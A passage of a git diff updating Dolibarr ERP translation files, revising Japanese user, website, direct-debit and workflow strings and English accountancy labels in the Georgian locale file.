ExportDataset_user_1=ユーザとそのプロパティ DomainUser=ドメインユーザ%s -Reactivate=再有効化 +Reactivate=再活性化 CreateInternalUserDesc=このフォームを使用すると、法人/組織に内部ユーザを作成できる。外部ユーザ(顧客、仕入先など)を作成するには、その取引先の連絡先カードから Dolibarrユーザの作成 ボタンを使用する。 InternalExternalDesc=内部ユーザは、法人/組織の一部であるユーザ、または法人に関連するデータよりも多くのデータを表示する必要がある組織外のパートナーユーザ(許可システムは、彼が見るまたは実行することの可・不可を定義)。
      外部ユーザは、自分に関連するデータのみを表示する必要がある顧客、仕入先、またはその他のユーザ(取引先の外部ユーザの作成は、取引先の連絡先レコードから実行できる)。

      どちらの場合も、ユーザが必要とする機能に対するアクセス許可を付与する必要がある。 PermissionInheritedFromAGroup=ユーザのグループのいずれかから継承されたので、許可が付与される。 @@ -85,7 +85,7 @@ NewUserPassword=%s用パスワードの変更 NewPasswordValidated=新規パスワードは検証済であり、ログインするには今すぐ使用する必要がある。 EventUserModified=ユーザの%sは変更 UserDisabled=ユーザの%sが無効になって -UserEnabled=ユーザ%sは、有効化済 +UserEnabled=ユーザ%sは、活性化済 UserDeleted=ユーザ%sは削除され NewGroupCreated=グループ%sが作成 GroupModified=グループ%sが変更された @@ -128,3 +128,7 @@ DateLastLogin=最終ログイン日 DatePreviousLogin=前回のログイン日 IPLastLogin=IP最終ログイン IPPreviousLogin=IP前回ログイン +ShowAllPerms=すべての権限行を表示 +HideAllPerms=すべての許可行を非表示 +UserPublicPageDesc=このユーザーの仮想カードを有効化可能。ユーザー プロファイルとバーコードを含む URL が利用可能になり、スマートフォンを持っている人なら誰でもそれをスキャンしてアドレス帳に連絡先を追加できる。 +EnablePublicVirtualCard=パブリック仮想ユーザー カードを有効化 diff --git a/htdocs/langs/ja_JP/website.lang b/htdocs/langs/ja_JP/website.lang index feb099de343..4833b938f31 100644 --- a/htdocs/langs/ja_JP/website.lang +++ b/htdocs/langs/ja_JP/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=コー​​ド +WebsiteName=ウェブサイトの名前 WebsiteSetupDesc=使用したいウェブサイトをここに作成する。次に、メニューのWebサイトに移動して編集する。 DeleteWebsite=ウェブサイトを削除 ConfirmDeleteWebsite=このWebサイトを削除してもよいか?その全ページとコンテンツも削除される。アップロードされたファイル(メディアディレクトリ、ECMモジュールなど)は残る。 @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=HTMLヘッダーの下部に追加(全ページに共通) WEBSITE_ROBOT=ロボットファイル(robots.txt) WEBSITE_HTACCESS=ウェブサイトの.htaccessファイル WEBSITE_MANIFEST_JSON=ウェブサイトmanifest.jsonファイル -WEBSITE_README=README.mdファイル WEBSITE_KEYWORDSDesc=値を区切るにはコンマを使用する -EnterHereLicenseInformation=ここにメタデータまたはライセンス情報を入力して、README.mdファイルに入力する。ウェブサイトをテンプレートとして配布する場合、ファイルは誘惑パッケージに含まれる。 +EnterHereReadmeInformation=ここに ウェブサイトの説明を入力する。 ウェブサイトをテンプレートとして配布する場合、ファイルは temptate パッケージに含まれる。 +EnterHereLicenseInformation=ここにウェブサイトのコードのライセンスを入力すること。 ウェブサイトをテンプレートとして配布する場合、ファイルは temptate パッケージに含まれる。 HtmlHeaderPage=HTMLヘッダー(このページにのみ固有) PageNameAliasHelp=ページの名前またはエイリアス。
      このエイリアスは、WebサイトがWebサーバーの仮想ホスト(Apacke、Nginxなど)から実行されるときにSEOURLを偽造するためにも使用される。このエイリアスを編集するには、ボタン「%s」を使用する。 EditTheWebSiteForACommonHeader=注:全ページにパーソナライズされたヘッダーを定義する場合は、ページ/コンテナーではなくサイトレベルでヘッダーを編集する。 @@ -42,6 +43,8 @@ ViewPageInNewTab=新規タブでページを表示 SetAsHomePage=ホームページに設定する RealURL=実際のURL ViewWebsiteInProduction=ホームURLを使用してWebサイトを表示する +Virtualhost=仮想ホストまたはドメイン名 +VirtualhostDesc=仮想ホストまたはドメインの名前 (例: www.mywebsite.com 、 mybigcompany.net 、...) SetHereVirtualHost=Apache/NGinx/...で使用
      専用の仮想ホストをWEBサーバ (Apache, Nginx, ...) 上に作成し、PHP 使用可で、ルートディレクトリを以下に指定する
      %s ExampleToUseInApacheVirtualHostConfig=Apache仮想ホストの設定で使用する例: YouCanAlsoTestWithPHPS=PHP組み込みサーバーでの使用
      開発環境では、 PHP組み込みWebサーバ (PHP 5.5 が必要) でサイトをテストするのが都合がいいなら、次のコマンドを動かす
      php -S 0.0.0.0:8080 -t %s @@ -137,7 +140,7 @@ PagesRegenerated=%sページ(s)/コンテナ(s)が再生成された RegenerateWebsiteContent=Webサイトのキャッシュファイルを再生成する AllowedInFrames=フレームで許可 DefineListOfAltLanguagesInWebsiteProperties=使用可能な全言語のリストをWebサイトのプロパティに定義する。 -GenerateSitemaps=ウェブサイトサイトマップファイルを生成する +GenerateSitemaps=ウェブサイトの sitemap.xml ファイルを生成する ConfirmGenerateSitemaps=確定すると、既存のサイトマップファイルが消去される... ConfirmSitemapsCreation=サイトマップの生成を確定する SitemapGenerated=サイトマップファイル%sが生成された @@ -145,3 +148,10 @@ ImportFavicon=ファビコン ErrorFaviconType=ファビコンはpngを必要とする ErrorFaviconSize=ファビコンのサイズは16x16、32x32、または64x64であること FaviconTooltip=画像をアップロードする、画像はpng (16x16, 32x32 or 64x64) であること +NextContainer=次ページ/コンテナ +PreviousContainer=前ページ/コンテナ +WebsiteMustBeDisabled=ウェブサイトのステータスは「%s」であること +WebpageMustBeDisabled=ウェブページのステータスは「%s」であること +SetWebsiteOnlineBefore=ウェブサイトがオフラインの場合、すべてのページがオフラインになる。最初にウェブサイトのステータスを変更する。 +Booking=予約 +Reservation=予約 diff --git a/htdocs/langs/ja_JP/withdrawals.lang b/htdocs/langs/ja_JP/withdrawals.lang index 6fd0ade4287..bfc22407bc9 100644 --- a/htdocs/langs/ja_JP/withdrawals.lang +++ b/htdocs/langs/ja_JP/withdrawals.lang @@ -33,7 +33,7 @@ InvoiceWaitingPaymentByBankTransfer=債権譲渡を待っている請求書 AmountToWithdraw=引落とす金額 AmountToTransfer=送金金額 NoInvoiceToWithdraw='%s'の未処理の請求書は待機していない。請求書カードのタブ「%s」に移動して、要求を行う。 -NoSupplierInvoiceToWithdraw=「直接クレジット要求」が開いているサプライヤの請求書は待機していない。請求書カードのタブ「%s」に移動して、要求を行う。 +NoSupplierInvoiceToWithdraw=未完了の「%s」を持つ仕入先請求書なし。請求書カードのタブ「%s」に移動し、リクエストを行う。 ResponsibleUser=ユーザ責任 WithdrawalsSetup=口座振替の設定 CreditTransferSetup=債権譲渡の設定 @@ -42,6 +42,7 @@ CreditTransferStatistics=債権譲渡統計 Rejects=拒否する LastWithdrawalReceipt=最新の%s口座振替の領収書 MakeWithdrawRequest=口座振替の支払要求を行う +MakeWithdrawRequestStripe=Stripe 経由で口座振替の支払いリクエストを行う MakeBankTransferOrder=債権譲渡を要求する WithdrawRequestsDone=%s口座振替の支払要求が記録された BankTransferRequestsDone=%s債権譲渡要求が記録済 @@ -100,8 +101,11 @@ CreditDate=クレジットで WithdrawalFileNotCapable=お住まいの国の引き出しレシートファイルを生成できない%s(お住まいの国はサポートされていない) ShowWithdraw=口座振替の注文を表示 IfInvoiceNeedOnWithdrawPaymentWontBeClosed=ただし、請求書にまだ処理されていない口座振替の支払注文が少なくとも1つある場合、事前の引き出し管理を可能にするために支払済として設定されない。 -DoStandingOrdersBeforePayments=このタブでは、口座振替の支払注文を要求できる。完了したら、メニューの 銀行 -> 口座振替による支払 に移動して、口座振替の注文を生成および管理する。口座振替の注文が締め切られると、請求書の支払は自動的に記録され、残りの支払がゼロの場合は請求書が締め切られる。 -DoCreditTransferBeforePayments=このタブでは、債権譲渡の注文を要求できる。完了したら、メニュー 銀行 -> 債権譲渡による支払 に移動して、債権譲渡注文を生成および管理する。債権譲渡注文がクローズされると、請求書の支払が自動的に記録され、残りの支払がゼロの場合、請求書はクローズされる。 +DoStandingOrdersBeforePayments=このタブでは、口座振替の支払い注文をリクエストできる。完了したら、「銀行->口座振替による支払い」メニューに移動して、口座振替注文ファイルを生成および管理できる。 +DoStandingOrdersBeforePayments2=Stripe などの SEPA 支払い処理業者にリクエストを直接送信することもできる。 +DoStandingOrdersBeforePayments3=口座振替注文がクローズされると、請求書の支払いが自動的に記録され、残りの支払いがゼロの場合、請求書はクローズされる。 +DoCreditTransferBeforePayments=このタブでは、口座振替注文をリクエストできる。完了したら、「銀行 -> 口座振替による支払い」メニューに移動して、口座振替注文ファイルを生成および管理する。 +DoCreditTransferBeforePayments3=口座振替注文がクローズされると、請求書の支払いが自動的に記録され、残りの支払いがゼロの場合、請求書はクローズされる。 WithdrawalFile=デビット注文ファイル CreditTransferFile=債権譲渡ファイル SetToStatusSent=状態「ファイル送信済」に設定 @@ -118,7 +122,7 @@ WithdrawRequestErrorNilAmount=空の金額の口座振替要求を作成でき SepaMandate=SEPA口座振替の委任 SepaMandateShort=SEPAマンデート PleaseReturnMandate=この委任フォームを電子メールで%sに、または郵送でに返送すること。 -SEPALegalText=この委任フォームに署名することにより、(A)%sが銀行に口座からの引き落としを指示し、(B)銀行が%sからの指示に従って口座から引き落としを行うことを承認する。あなたの権利の一部として、あなたはあなたの銀行とのあなたの合意の条件の下であなたの銀行からの払い戻しを受ける権利がある。上記委任事項に関するあなたの権利は、あなたが銀行から入手できる明細書で説明されている。 +SEPALegalText=この委任状に署名することにより、(A) %s とその決済サービス プロバイダが、%s からの指示に従って、(B) 銀行に口座からの引き落としの指示を送信することを承認したことになる。お客様の権利の一部として、銀行との契約条件に基づいて、銀行から返金を受ける権利がある。上記の委任に関するお客様の権利は、銀行から入手できる明細書に説明されている。 CreditorIdentifier=債権者識別子 CreditorName=債権者名 SEPAFillForm=(B)*のマークが付いている全フィールドに入力すること diff --git a/htdocs/langs/ja_JP/workflow.lang b/htdocs/langs/ja_JP/workflow.lang index ca5945992a0..8e5c9ec5a3b 100644 --- a/htdocs/langs/ja_JP/workflow.lang +++ b/htdocs/langs/ja_JP/workflow.lang @@ -22,7 +22,7 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=仕入先の請求書 descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=リンクされたソース購買発注を、領収は検証済なら受領したものとして指定する(ただし、全領収での受領済数量が更新する購買発注と同じである場合)。 descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=リンクされたソース購買発注を、領収終了時に受領したものとして指定する(ただし、全領収での受領数量が更新する購買発注と同じである場合)。 # Autoclassify purchase invoice -descWORKFLOW_BILL_ON_RECEPTION=リンクされたサプライヤの注文は検証済なら、領収を「請求済」に指定する +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=リンクされた購入請求書が検証された場合 (および請求書の金額がリンクされた受信の合計金額と同じ場合) に、受信を「請求済み」に分類する。 # Automatically link ticket to contract descWORKFLOW_TICKET_LINK_CONTRACT=チケットを作成するときは、一致するサードパーティの利用可能な契約をリンクする descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=契約をリンクする場合は、親会社の契約を検索すること @@ -31,6 +31,6 @@ descWORKFLOW_TICKET_CLOSE_INTERVENTION=チケットが閉じられたら、チ AutomaticCreation=自動作成 AutomaticClassification=自動分類 # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=顧客の請求書は検証済なら、リンクされたソース出荷をクローズとして分類する +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=顧客の請求書が検証されたときに、リンクされたソース出荷をクローズとして分類する (請求書の金額がリンクされた出荷の合計金額と同じ場合)。 AutomaticClosing=自動クローズ AutomaticLinking=自動リンク diff --git a/htdocs/langs/ka_GE/accountancy.lang b/htdocs/langs/ka_GE/accountancy.lang index 8bc4b54a090..7158d53896a 100644 --- a/htdocs/langs/ka_GE/accountancy.lang +++ b/htdocs/langs/ka_GE/accountancy.lang @@ -48,8 +48,9 @@ CountriesNotInEEC=Countries not in EEC CountriesInEECExceptMe=Countries in EEC except %s CountriesExceptMe=All countries except %s AccountantFiles=Export source documents -ExportAccountingSourceDocHelp=With this tool, you can export the source events (list in CSV and PDFs) that are used to generate your accountancy. +ExportAccountingSourceDocHelp=With this tool, you can search and export the source events that are used to generate your accountancy.
      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=To export your journals, use the menu entry %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=View by accounting account VueBySubAccountAccounting=View by accounting subaccount @@ -58,28 +59,29 @@ MainAccountForSuppliersNotDefined=Main accounting account for vendors not define MainAccountForUsersNotDefined=Main accounting account for users not defined in setup MainAccountForVatPaymentNotDefined=Main accounting account for VAT payment not defined in setup MainAccountForSubscriptionPaymentNotDefined=Main accounting account for subscription payment not defined in setup +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Accounting area AccountancyAreaDescIntro=Usage of the accountancy module is done in several step: AccountancyAreaDescActionOnce=The following actions are usually executed one time only, or once per year... -AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you the correct default accounting account when making the journalization (writing record in Journals and General ledger) +AccountancyAreaDescActionOnceBis=Next steps should be done to save you time in future by suggesting you automaticaly the correct default accounting account when transferring data in accounting AccountancyAreaDescActionFreq=The following actions are usually executed every month, week or day for very large companies... -AccountancyAreaDescJournalSetup=STEP %s: Create or check content of your journal list from menu %s +AccountancyAreaDescJournalSetup=STEP %s: Check content of your journal list from menu %s AccountancyAreaDescChartModel=STEP %s: Check that a model of chart of account exists or create one from menu %s AccountancyAreaDescChart=STEP %s: Select and|or complete your chart of account from menu %s AccountancyAreaDescVat=STEP %s: Define accounting accounts for each VAT Rates. For this, use the menu entry %s. AccountancyAreaDescDefault=STEP %s: Define default accounting accounts. For this, use the menu entry %s. -AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of expense report. For this, use the menu entry %s. +AccountancyAreaDescExpenseReport=STEP %s: Define default accounting accounts for each type of Expense report. For this, use the menu entry %s. AccountancyAreaDescSal=STEP %s: Define default accounting accounts for payment of salaries. For this, use the menu entry %s. -AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for special expenses (miscellaneous taxes). For this, use the menu entry %s. +AccountancyAreaDescContrib=STEP %s: Define default accounting accounts for Taxes (special expenses). For this, use the menu entry %s. AccountancyAreaDescDonation=STEP %s: Define default accounting accounts for donation. For this, use the menu entry %s. AccountancyAreaDescSubscription=STEP %s: Define default accounting accounts for member subscription. For this, use the menu entry %s. AccountancyAreaDescMisc=STEP %s: Define mandatory default account and default accounting accounts for miscellaneous transactions. For this, use the menu entry %s. AccountancyAreaDescLoan=STEP %s: Define default accounting accounts for loans. For this, use the menu entry %s. AccountancyAreaDescBank=STEP %s: Define accounting accounts and journal code for each bank and financial accounts. For this, use the menu entry %s. -AccountancyAreaDescProd=STEP %s: Define accounting accounts on your products/services. For this, use the menu entry %s. +AccountancyAreaDescProd=STEP %s: Define accounting accounts on your Products/Services. For this, use the menu entry %s. AccountancyAreaDescBind=STEP %s: Check the binding between existing %s lines and accounting account is done, so application will be able to journalize transactions in Ledger in one click. Complete missing bindings. For this, use the menu entry %s. AccountancyAreaDescWriteRecords=STEP %s: Write transactions into the Ledger. For this, go into menu %s, and click into button %s. @@ -112,7 +114,7 @@ MenuAccountancyClosure=Closure MenuAccountancyValidationMovements=Validate movements ProductsBinding=Products accounts TransferInAccounting=Transfer in accounting -RegistrationInAccounting=Registration in accounting +RegistrationInAccounting=Recording in accounting Binding=Binding to accounts CustomersVentilation=Customer invoice binding SuppliersVentilation=Vendor invoice binding @@ -120,7 +122,7 @@ ExpenseReportsVentilation=Expense report binding CreateMvts=Create new transaction UpdateMvts=Modification of a transaction ValidTransaction=Validate transaction -WriteBookKeeping=Register transactions in accounting +WriteBookKeeping=Record transactions in accounting Bookkeeping=Ledger BookkeepingSubAccount=Subledger AccountBalance=Account balance @@ -161,41 +163,46 @@ BANK_DISABLE_DIRECT_INPUT=Disable direct recording of transaction in bank accoun ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Enable draft export on journal ACCOUNTANCY_COMBO_FOR_AUX=Enable combo list for subsidiary account (may be slow if you have a lot of third parties, break ability to search on a part of value) ACCOUNTING_DATE_START_BINDING=Define a date to start binding & transfer in accountancy. Below this date, the transactions will not be transferred to accounting. -ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, select period show by default +ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Has new Journal +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Result accounting account (Profit) ACCOUNTING_RESULT_LOSS=Result accounting account (Loss) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Journal of closure -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Accounting account of transitional bank transfer +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Transitional bank transfer account -ACCOUNTING_ACCOUNT_SUSPENSE=Accounting account of wait -DONATION_ACCOUNTINGACCOUNT=Accounting account to register donations -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Accounting account to register subscriptions +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Accounting account by default to register customer deposit +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Accounting account by default for the bought products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Accounting account by default for the bought products in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought products and imported out of EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Accounting account by default for the sold products (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Accounting account by default for the products sold in EEC (used if not defined in the product sheet) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Accounting account by default for the products sold and exported out of EEC (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Accounting account by default for the bought services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Accounting account by default for the bought services in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Accounting account by default for the bought services and imported out of EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Accounting account by default for the sold services (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Accounting account by default for the services sold in EEC (used if not defined in the service sheet) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Accounting account by default for the services sold and exported out of EEC (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -210,7 +217,7 @@ Codejournal=Journal JournalLabel=Journal label NumPiece=Piece number TransactionNumShort=Num. transaction -AccountingCategory=Custom group +AccountingCategory=Custom group of accounts GroupByAccountAccounting=Group by general ledger account GroupBySubAccountAccounting=Group by subledger account AccountingAccountGroupsDesc=You can define here some groups of accounting account. They will be used for personalized accounting reports. @@ -219,12 +226,12 @@ ByPredefinedAccountGroups=By predefined groups ByPersonalizedAccountGroups=By personalized groups ByYear=By year NotMatch=Not Set -DeleteMvt=Delete some operation lines from accounting +DeleteMvt=Delete some lines from accounting DelMonth=Month to delete DelYear=Year to delete DelJournal=Journal to delete -ConfirmDeleteMvt=This will delete all operation lines of the accounting for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. -ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all operation lines related to the same transaction will be deleted) +ConfirmDeleteMvt=This will delete all lines in accountancy for the year/month and/or for a specific journal (At least one criterion is required). You will have to reuse the feature '%s' to have the deleted record back in the ledger. +ConfirmDeleteMvtPartial=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) FinanceJournal=Finance journal ExpenseReportsJournal=Expense reports journal DescFinanceJournal=Finance journal including all the types of payments by bank account @@ -264,13 +271,13 @@ Reconcilable=Reconcilable TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product accounting account -DescVentilMore=In most cases, if you use predefined products or services and you set the account number on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". -DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product accounting account -DescVentilTodoCustomer=Bind invoice lines not already bound with a product accounting account -ChangeAccount=Change the product/service accounting account for selected lines with the following accounting account: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product accounting account (only record not already transfered in accountancy are visible) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Consult here the list of the lines of vendor invoices and their accounting account DescVentilTodoExpenseReport=Bind expense report lines not already bound with a fee accounting account DescVentilExpenseReport=Consult here the list of expense report lines bound (or not) to a fee accounting account @@ -278,30 +285,31 @@ DescVentilExpenseReportMore=If you setup accounting account on type of expense r DescVentilDoneExpenseReport=Consult here the list of the lines of expenses reports and their fees accounting account Closure=Annual closure -DescClosure=Consult here the number of movements by month who are not validated & fiscal years already open -OverviewOfMovementsNotValidated=Step 1/ Overview of movements not validated. (Necessary to close a fiscal year) -AllMovementsWereRecordedAsValidated=All movements were recorded as validated -NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated -ValidateMovements=Validate movements +DescClosure=Consult here the number of movements by month not yet validated & locked +OverviewOfMovementsNotValidated=Overview of movements not validated and locked +AllMovementsWereRecordedAsValidated=All movements were recorded as validated and locked +NotAllMovementsCouldBeRecordedAsValidated=Not all movements could be recorded as validated and locked +ValidateMovements=Validate and lock movements... DescValidateMovements=Any modification or deletion of writing, lettering and deletes will be prohibited. All entries for an exercise must be validated otherwise closing will not be possible ValidateHistory=Bind Automatically AutomaticBindingDone=Automatic bindings done (%s) - Automatic binding not possible for some record (%s) -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used -MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s | Credit = %s +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used +MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Balancing FicheVentilation=Binding card GeneralLedgerIsWritten=Transactions are written in the Ledger GeneralLedgerSomeRecordWasNotRecorded=Some of the transactions could not be journalized. If there is no other error message, this is probably because they were already journalized. -NoNewRecordSaved=No more record to journalize -ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Sales AccountingJournalType3=Purchases AccountingJournalType4=Bank -AccountingJournalType5=Expenses report +AccountingJournalType5=Expense reports AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model of export @@ -394,6 +406,26 @@ Range=Range of accounting account Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified 